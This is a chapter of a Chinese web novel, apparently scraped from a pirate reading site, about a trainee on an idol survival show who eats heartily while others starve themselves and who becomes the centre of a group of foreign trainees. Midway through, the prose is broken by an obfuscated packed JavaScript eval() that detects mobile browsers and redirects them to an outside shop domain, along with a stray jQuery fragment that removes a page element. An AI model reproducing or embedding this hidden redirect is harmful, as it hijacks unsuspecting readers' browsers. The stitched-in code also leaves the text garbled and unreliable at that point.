练了几个小时的舞,到了饭点,原本安静的楼道开始出现稀稀拉拉的脚步声和交谈声。
风明之端着餐盘混在人流里,跟着队伍慢慢往前挪。
队伍不长,很快就轮到了她。
她握着夹子,站在看似琳琅满目的餐台前,表情逐渐凝固。
菜品的种类看上去很多,但不是超减脂的水煮菜就是切成丝的沙拉然后就是必不可少的泡菜,一滴油星子都没有。
主食区更简单,杂粮饭,红薯,没了。唯一算得上荤腥的就是水煮蛋,还被工作人员像看金条一样看着,每人严格限领一个。
风明之快速扫了眼周围人的餐盘,突然意识到一个严重的问题。
这些人都是要上镜的,但凡有点经验或者被公司叮嘱过的练习生,在节目录制期间都会把节食做到极致,一天摄入的热量可能还不够一个正常人一顿饭的。
风明之理解归理解,不打算跟着做。且不说她还在长身体一天三顿都不够,平时还要整点小零食防止自己饿肚子。
就这菜色,吃完没两个小时就得饿,幸好她来到这前就做好了准备。
风明之夹了满满一盘子的水煮菜,又盛了满满一碗饭。
原本就觉得风明之吃得多的练习生,见她坐下后,竟然从包里掏出一盒午餐肉,用勺子挖出来混入水煮菜中,还要往里混高油高盐的辣椒酱。
翠绿的菜叶裹满红亮的辣油,让原本寡淡食之无味的青菜瞬间变成了下饭神器。
坐在风明之对面的练习生们不约而同地咽了咽口水。
风明之合上老干妈瓶盖时,抬头的那一瞬间,直直撞上了一双乌黑透亮的大眼睛里。
女生看起来年纪不大,眉毛浓密,眼睛大大的,带着很明显的混血感。
两人四目相对。
看着对面那张稚气未脱明显还没成年的脸,风明之犹豫片刻,最后还是试探性地将老干妈往桌子中间推了推。
她不会说K国话,又不确定对方会不会英语,干脆做了一个请的手势。
女生的视线在老干妈和风明之的脸之间来回看了两次,婉拒了风明之的好意。
她压低了声音,小心翼翼地问了一句:“你吃这么多,你经纪人不管你吗?”
对方的英语发音不算特别标准,带着明显的地域口音。
不过对于风明之这个上辈子卷了一辈子的英专生来说,听懂对方的话完全没有难度。
风明之咽下嘴里的饭:“我没有经纪人。”
女生一愣,眼神随即从惊讶转为深深的同情。都要上节目了,身边怎么连个经纪人都没有?更何况,对方明明长得那么好看,怎么会没人看好?
“那你……”女生想说什么,但看到风明之那副天大地大吃饭最大的淡定模样,到嘴边的疑问又咽了回去。
犹豫片刻,她还是轻声打破了沉默:“我叫Sana,T国人。”
“周露秋,华夏人。”风明之点点头含糊地应了一声,筷子没停,继续和盘子里的午餐肉战斗。
大概是食堂的大锅饭实在难以下咽不和她的口味,风明之都吃完了,Sana面前的餐盘里还剩下大半的水煮菜和一口没动的红薯。
出于礼貌风明之没急着走,而是安安静静地等她吃完,才一起起身离开。
自那顿午饭过后,也不知究竟是哪里惹了这群外籍练习生的青眼,她身边开始莫名其妙地围起了一群小姑娘。
休息的时候总会有生面孔主动凑过来找她说话,有时候是问舞蹈动作,有时候是请教英语发音,有时候甚至什么都不问什么都不做,就安静地坐在她旁边。
最夸张的是有一天午休,风明之吃完饭靠在墙边小憩,迷迷糊糊醒来时,发现自己被封印在了墙角。
她粗略地数了数,足足有七个人,加上她自己,一共八个人挤在墙角,挤挤挨挨的样子像极了冬天里挤在一起取暖的小动物。
风明之:“……?”
接下来的日子,这种诡异的现象不仅没有消失,反而愈演愈烈。等她回过神来的时候,身边已经形成了一个稳定的圈子。
最让风明之感到费解的是,她们似乎完全不需要她交流说话,只要她坐在她们身边就好。
风明之虽然搞不懂这帮小姑娘为什么非要围着她转,但看着她们亮晶晶的眼睛,没有拒绝。
毕竟,一群漂漂亮亮的小姑娘小心翼翼地围着你转的感觉并不算讨厌。
精神上的陪伴虽然温馨,身体上的折磨却是实打实的。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17556595|204445||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>高强度的舞蹈练习让所有练习生叫苦不迭,训练服湿了又干、干了又湿,像咸菜一样挂在身上皱巴巴的。
Sana更是练到双腿打颤,音乐一停,直接瘫在了地上。
她侧过头,看向一旁拧开保温杯喝水的风明之。汗水同样打湿了她的训练服,但她的呼吸平稳得仿佛刚刚只是去楼下散了个步。
Sana喘着气:“秋,你难道不会累吗?”
风明之奇怪地看了她一眼,为什么这么问?
旁边的Ayu也凑过来,上上下下地打量起她。
“我腿都快断了,你怎么看起来跟没事人一样?”
Ayu漂亮的小脸上满是不可思议,震惊感慨的语气中甚至还带上了一丝怀疑人生的味道。
风明之想了想,找了个她们能理解的说法:“我比较会省力气。”
其实不是省力气,而是她已经习惯了根据运动的情况随时调整呼吸和身体节奏。
加上她的身体早就习惯了高强度的运动,舞蹈和声乐之类的学习训练对她来讲根本不是难事,表现出来自然也就没有多累。
真正让她觉得累的,甚至可以说得上身心俱疲的,是晚上的教学课。
风明之从来没有想过,有朝一日她会坐在一间教室里,听一群外行人和半吊子大谈特谈什么叫巫,什么叫炁感。
更让她难以忍受的是,这群老师还总是用一种你们还真是祖坟冒青烟了能被我们教的微妙鄙夷感给他们上课。
风明之都不知道他们这种莫名其妙的优越感从哪里来的,那一刻她是真想学学老天师,一人一巴掌都给解决了。
风明之拧上盖子,放下保温杯,接过中田心爱递给她的棒棒糖,拆开包装叼在嘴里,冲她说了句谢谢。
中田心爱羞涩地抿唇冲她笑了笑。
风明之看着眼前可爱的妹子,比起听那些外行人胡说八道,她宁愿被这群小姑娘当人肉靠垫。
不过幸好,这种精神折磨很快就要结束了。
距离节目开播的时间慢慢逼近,空气里氛围肉眼可见的焦灼起来。
走廊上碰见的人越来越少,舞蹈室里的人却是越来越多。练习生们也不再参加集体课程,每个人都在争分夺秒地打磨自己的出场秀。